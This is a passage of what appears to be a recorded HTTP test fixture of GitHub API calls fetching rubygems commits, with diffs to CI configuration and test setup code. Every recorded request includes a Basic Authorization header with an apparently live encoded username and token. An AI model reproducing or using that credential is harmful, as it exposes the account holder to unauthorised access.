X-Ratelimit-Remaining: - '4453' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"777f8ca4b02cfe5fe61a926ee63e9b00" Last-Modified: - Wed, 18 Oct 2017 09:22:24 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.059989' X-Github-Request-Id: - C574:4D97:903925:1C47C86:5A50E474 body: encoding: ASCII-8BIT string: '{"sha":"8a44d71b56efd51e923f589f8b2fb97512378ef0","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-18T09:22:24Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-18T09:22:24Z"},"message":"Auto merge of #2045 - hsbt:fix-2043, r=hsbt\n\nPicked r60194 from ruby/ruby.\n\nFixes https://github.com/rubygems/rubygems/issues/2043\n\nhttps://github.com/ruby/ruby/commit/16b6fe17a3de009085ed61947cbc0a54644f6e95","tree":{"sha":"e7cdd78ac13ef54cdaa3b3bdc7d1e6cb279d72d3","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e7cdd78ac13ef54cdaa3b3bdc7d1e6cb279d72d3"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/8a44d71b56efd51e923f589f8b2fb97512378ef0","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/8a44d71b56efd51e923f589f8b2fb97512378ef0","html_url":"https://github.com/rubygems/rubygems/commit/8a44d71b56efd51e923f589f8b2fb97512378ef0","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/8a44d71b56efd51e923f589f8b2fb97512378ef0/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"fe490dfcf0bf1f5261880e112ddc6ebd7e51270a","url":"https://api.github.com/repos/rubygems/rubygems/commits/fe490dfcf0bf1f5261880e112ddc6ebd7e51270a","html_url":"https://github.com/rubygems/rubygems/commit/fe490dfcf0bf1f5261880e112ddc6ebd7e51270a"},{"sha":"dd9be859d376555963528a3ec69dabc6061c352f","url":"https://api.github.com/repos/rubygems/rubygems/commits/dd9be859d376555963528a3ec69dabc6061c352f","html_url":"https://github.com/rubygems/rubygems/commit/dd9be859d376555963528a3ec69dabc6061c352f"}],"stats":{"total":3,"additions":3,"deletions":0},"files":[{"sha":"82afb8a0682f630cb74ab403a232d58073b88f71","filename":"lib/rubygems/test_case.rb","status":"modified","additions":3,"deletions":0,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/8a44d71b56efd51e923f589f8b2fb97512378ef0/lib/rubygems/test_case.rb","raw_url":"https://github.com/rubygems/rubygems/raw/8a44d71b56efd51e923f589f8b2fb97512378ef0/lib/rubygems/test_case.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/test_case.rb?ref=8a44d71b56efd51e923f589f8b2fb97512378ef0","patch":"@@ -236,6 +236,7 @@ def setup\n @fetcher = nil\n \n Bundler.ui = Bundler::UI::Silent.new\n+ @back_ui = Gem::DefaultUserInteraction.ui\n @ui = Gem::MockGemUi.new\n # This needs to be a new instance since we call use_ui(@ui) when we want to\n # capture output\n@@ -420,6 +421,8 @@ def teardown\n Gem::Specification._clear_load_cache\n Gem::Specification.unresolved_deps.clear\n Gem::refresh\n+\n+ @back_ui.close\n end\n \n def common_installer_setup"}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:04 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/fe490dfcf0bf1f5261880e112ddc6ebd7e51270a body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:04 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4452' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"e2b9babb3ad45fbace6d453203dc21de" Last-Modified: - Wed, 18 Oct 2017 08:57:19 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.043820' X-Github-Request-Id: - C576:4D95:F4825F:1C83FFC:5A50E474 body: encoding: ASCII-8BIT string: '{"sha":"fe490dfcf0bf1f5261880e112ddc6ebd7e51270a","commit":{"author":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-18T08:57:19Z"},"committer":{"name":"The Bundler Bot","email":"bot@bundler.io","date":"2017-10-18T08:57:19Z"},"message":"Auto merge of #2044 - hsbt:warn-test-travis, r=hsbt\n\nTemporary disabled psych warning message for travis failure\n\nInvestigate to travis status.\n\nref https://github.com/rubygems/rubygems/pull/2034","tree":{"sha":"4055a4f1b5361c41db9c509c384998fbdeead43e","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/4055a4f1b5361c41db9c509c384998fbdeead43e"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/fe490dfcf0bf1f5261880e112ddc6ebd7e51270a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/fe490dfcf0bf1f5261880e112ddc6ebd7e51270a","html_url":"https://github.com/rubygems/rubygems/commit/fe490dfcf0bf1f5261880e112ddc6ebd7e51270a","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/fe490dfcf0bf1f5261880e112ddc6ebd7e51270a/comments","author":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"committer":{"login":"bundlerbot","id":13614622,"avatar_url":"https://avatars1.githubusercontent.com/u/13614622?v=4","gravatar_id":"","url":"https://api.github.com/users/bundlerbot","html_url":"https://github.com/bundlerbot","followers_url":"https://api.github.com/users/bundlerbot/followers","following_url":"https://api.github.com/users/bundlerbot/following{/other_user}","gists_url":"https://api.github.com/users/bundlerbot/gists{/gist_id}","starred_url":"https://api.github.com/users/bundlerbot/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bundlerbot/subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"82719151049a17987989b089c5b0d81b1b8df507","url":"https://api.github.com/repos/rubygems/rubygems/commits/82719151049a17987989b089c5b0d81b1b8df507","html_url":"https://github.com/rubygems/rubygems/commit/82719151049a17987989b089c5b0d81b1b8df507"},{"sha":"fc93274ae8ec04c9013c8f301921d8779362cf22","url":"https://api.github.com/repos/rubygems/rubygems/commits/fc93274ae8ec04c9013c8f301921d8779362cf22","html_url":"https://github.com/rubygems/rubygems/commit/fc93274ae8ec04c9013c8f301921d8779362cf22"}],"stats":{"total":6,"additions":6,"deletions":0},"files":[{"sha":"9a35c6b2ed0986ab3fbe1deec5ce315203090a7a","filename":".travis.yml","status":"modified","additions":6,"deletions":0,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/fe490dfcf0bf1f5261880e112ddc6ebd7e51270a/.travis.yml","raw_url":"https://github.com/rubygems/rubygems/raw/fe490dfcf0bf1f5261880e112ddc6ebd7e51270a/.travis.yml","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/.travis.yml?ref=fe490dfcf0bf1f5261880e112ddc6ebd7e51270a","patch":"@@ -48,3 +48,9 @@ matrix:\n env: \"TEST_TOOL=rubygems YAML=syck\"\n allow_failures:\n - rvm: ruby-head\n+ - rvm: 1.8.7\n+ env: \"TEST_TOOL=bundler RGV=master\"\n+ - rvm: 1.9.3\n+ env: \"TEST_TOOL=bundler RGV=master\"\n+ - rvm: 2.0.0\n+ env: \"TEST_TOOL=bundler RGV=master\""}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:04 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/fc93274ae8ec04c9013c8f301921d8779362cf22 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:04 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4451' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"dc6f468e0f2d99d6e7cd418c93473d38" Last-Modified: - Wed, 18 Oct 2017 08:22:01 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.062938' X-Github-Request-Id: - C578:4D94:4F016C:B3065C:5A50E474 body: encoding: ASCII-8BIT string: '{"sha":"fc93274ae8ec04c9013c8f301921d8779362cf22","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-18T08:22:01Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-18T08:22:01Z"},"message":"Only ignored failing tests","tree":{"sha":"4055a4f1b5361c41db9c509c384998fbdeead43e","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/4055a4f1b5361c41db9c509c384998fbdeead43e"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/fc93274ae8ec04c9013c8f301921d8779362cf22","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlnnDykACgkQ+c8TQXJk\n+sIEQgf/dDWwX7KWf8+CoPVBsmdzBAidFeNwCspxOMrWIMYOO+X7bYpOrFtytvc1\nqVPaws2ti8htBYwNkNwdYyVA/wfFexN/e9rGyRs0EmDw8Rwlil/VwRQQy4m7Axnk\neujQMmPwHc2qs0yC/VHN0CE6wcy8nzf+QllFK+Hzf/uKfOEl0tXIVJppThSJ58Kc\n2blkmDSkQHPnTDxyHfx2WEuEa+er5nkgLoihrhyzgV9scSNjJCJDz/VjA5OjP6gt\nr+Xz5K4P2Vn2Q5qv3xY2ieXLyICX9SmLRuROTd2QTxxy0oeE0pZxL2Z5zNoDVU7+\nv3q+RtkKRmMDFyWksETxXx/Kx1OUkA==\n=lJmY\n-----END PGP SIGNATURE-----","payload":"tree 4055a4f1b5361c41db9c509c384998fbdeead43e\nparent 56f688e0b115bce5d3a5ff9c2462e69ab7e851da\nauthor SHIBATA Hiroshi 1508314921 +0900\ncommitter SHIBATA Hiroshi 1508314921 +0900\n\nOnly ignored failing tests\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/fc93274ae8ec04c9013c8f301921d8779362cf22","html_url":"https://github.com/rubygems/rubygems/commit/fc93274ae8ec04c9013c8f301921d8779362cf22","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/fc93274ae8ec04c9013c8f301921d8779362cf22/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"56f688e0b115bce5d3a5ff9c2462e69ab7e851da","url":"https://api.github.com/repos/rubygems/rubygems/commits/56f688e0b115bce5d3a5ff9c2462e69ab7e851da","html_url":"https://github.com/rubygems/rubygems/commit/56f688e0b115bce5d3a5ff9c2462e69ab7e851da"}],"stats":{"total":7,"additions":6,"deletions":1},"files":[{"sha":"9a35c6b2ed0986ab3fbe1deec5ce315203090a7a","filename":".travis.yml","status":"modified","additions":6,"deletions":1,"changes":7,"blob_url":"https://github.com/rubygems/rubygems/blob/fc93274ae8ec04c9013c8f301921d8779362cf22/.travis.yml","raw_url":"https://github.com/rubygems/rubygems/raw/fc93274ae8ec04c9013c8f301921d8779362cf22/.travis.yml","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/.travis.yml?ref=fc93274ae8ec04c9013c8f301921d8779362cf22","patch":"@@ -48,4 +48,9 @@ matrix:\n env: \"TEST_TOOL=rubygems YAML=syck\"\n allow_failures:\n - rvm: ruby-head\n- - env: \"TEST_TOOL=bundler RGV=master\"\n+ - rvm: 1.8.7\n+ env: \"TEST_TOOL=bundler RGV=master\"\n+ - rvm: 1.9.3\n+ env: \"TEST_TOOL=bundler RGV=master\"\n+ - rvm: 2.0.0\n+ env: \"TEST_TOOL=bundler RGV=master\""}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:04 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/56f688e0b115bce5d3a5ff9c2462e69ab7e851da body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:05 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4450' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"65b8bc17bd061b122bb4adc1df6cebcb" Last-Modified: - Wed, 18 Oct 2017 07:53:55 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.048889' X-Github-Request-Id: - A2AA:4D97:90397C:1C47D56:5A50E474 body: encoding: ASCII-8BIT string: '{"sha":"56f688e0b115bce5d3a5ff9c2462e69ab7e851da","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-18T07:53:55Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-18T07:53:55Z"},"message":"Temporary exclude bundler tests caused safe_yaml warnings.","tree":{"sha":"e015b97aa598c92e5c6ecfc80874690f5b76303d","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/e015b97aa598c92e5c6ecfc80874690f5b76303d"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/56f688e0b115bce5d3a5ff9c2462e69ab7e851da","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAlnnCLUACgkQ+c8TQXJk\n+sIxSQgA5cJUfcJO53NTCpxYfEXhi6u7RqS+QKIPEY2l1kc/R/tQFIxLyTYbCgTU\ngWTKcQ5EppPj7mWoHgbUD7MqQRXKjwaY8CW6bMRktVJO6GusK+X8Rs2TaZ9nKdQD\nCqhDZT33rKh+6/dUyiFxOQo0XHYN5I1f2Ke7bRm3a6HehpEAUbRy1FFfrihEgMC0\nUauXiw8BbFOXp26efHXgk/+8I0R+yCZy379isfDXeUWla/Cw+1s2vs3D8Gwp2O5b\ncpauBOV9XCETdDYT69OFfDBL/Ok36MEKiwuUFoUTBunr+DCDn+sk5AeJDszyEC/g\naMjBfeQ7qO5znpiHYuVGnIhPZdshJw==\n=GBdH\n-----END PGP SIGNATURE-----","payload":"tree e015b97aa598c92e5c6ecfc80874690f5b76303d\nparent 82719151049a17987989b089c5b0d81b1b8df507\nauthor SHIBATA Hiroshi 1508313235 +0900\ncommitter SHIBATA Hiroshi 1508313235 +0900\n\nTemporary exclude bundler tests caused safe_yaml warnings.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/56f688e0b115bce5d3a5ff9c2462e69ab7e851da","html_url":"https://github.com/rubygems/rubygems/commit/56f688e0b115bce5d3a5ff9c2462e69ab7e851da","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/56f688e0b115bce5d3a5ff9c2462e69ab7e851da/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"82719151049a17987989b089c5b0d81b1b8df507","url":"https://api.github.com/repos/rubygems/rubygems/commits/82719151049a17987989b089c5b0d81b1b8df507","html_url":"https://github.com/rubygems/rubygems/commit/82719151049a17987989b089c5b0d81b1b8df507"}],"stats":{"total":1,"additions":1,"deletions":0},"files":[{"sha":"d50c66e94b81bc2e9652b082451ea881c8b5f452","filename":".travis.yml","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/rubygems/rubygems/blob/56f688e0b115bce5d3a5ff9c2462e69ab7e851da/.travis.yml","raw_url":"https://github.com/rubygems/rubygems/raw/56f688e0b115bce5d3a5ff9c2462e69ab7e851da/.travis.yml","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/.travis.yml?ref=56f688e0b115bce5d3a5ff9c2462e69ab7e851da","patch":"@@ -48,3 +48,4 @@ matrix:\n env: \"TEST_TOOL=rubygems YAML=syck\"\n allow_failures:\n - rvm: ruby-head\n+ - env: \"TEST_TOOL=bundler RGV=master\""}]}' http_version: recorded_at: Sat, 06 Jan 2018 15:00:05 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/dd9be859d376555963528a3ec69dabc6061c352f body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 15:00:05 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4449' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"208b8932c6e971f917aaf82e518c981b" Last-Modified: - Wed, 18 Oct 2017 05:16:21 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.041826' X-Github-Request-Id: - C57C:4D96:97195E:13A3F65:5A50E475 body: encoding: ASCII-8BIT string: '{"sha":"dd9be859d376555963528a3ec69dabc6061c352f","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-18T02:16:38Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-18T05:16:21Z"},"message":"Picked r60194 from ruby/ruby.\n\n https://github.com/ruby/ruby/commit/16b6fe17a3de009085ed61947cbc0a54644f6e95","tree":{"sha":"9537b812e0efed54421e043ba0554d1a867fa2d9","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/9537b812e0efed54421e043ba0554d1a867fa2d9"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/dd9be859d376555963528a3ec69dabc6061c352f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/dd9be859d376555963528a3ec69dabc6061c352f","html_url":"https://github.com/rubygems/rubygems/commit/dd9be859d376555963528a3ec69dabc6061c352f","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/dd9be859d376555963528a3ec69dabc6061c352f/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"82719151049a17987989b089c5b0d81b1b8df507","url":"https://api.github.com/repos/rubygems/rubygems/commits/82719151049a17987989b089c5b0d81b1b8df507","html_url":"https://github.com/rubygems/rubygems/commit/82719151049a17987989b089c5b0d81b1b8df507"}],"stats":{"total":3,"additions":3,"deletions":0},"files":[{"sha":"82afb8a0682f630cb74ab403a232d58073b88f71","filename":"lib/rubygems/test_case.rb","status":"modified","additions":3,"deletions":0,"changes":3,"blob_url":"https://github.com/rubygems/rubygems/blob/dd9be859d376555963528a3e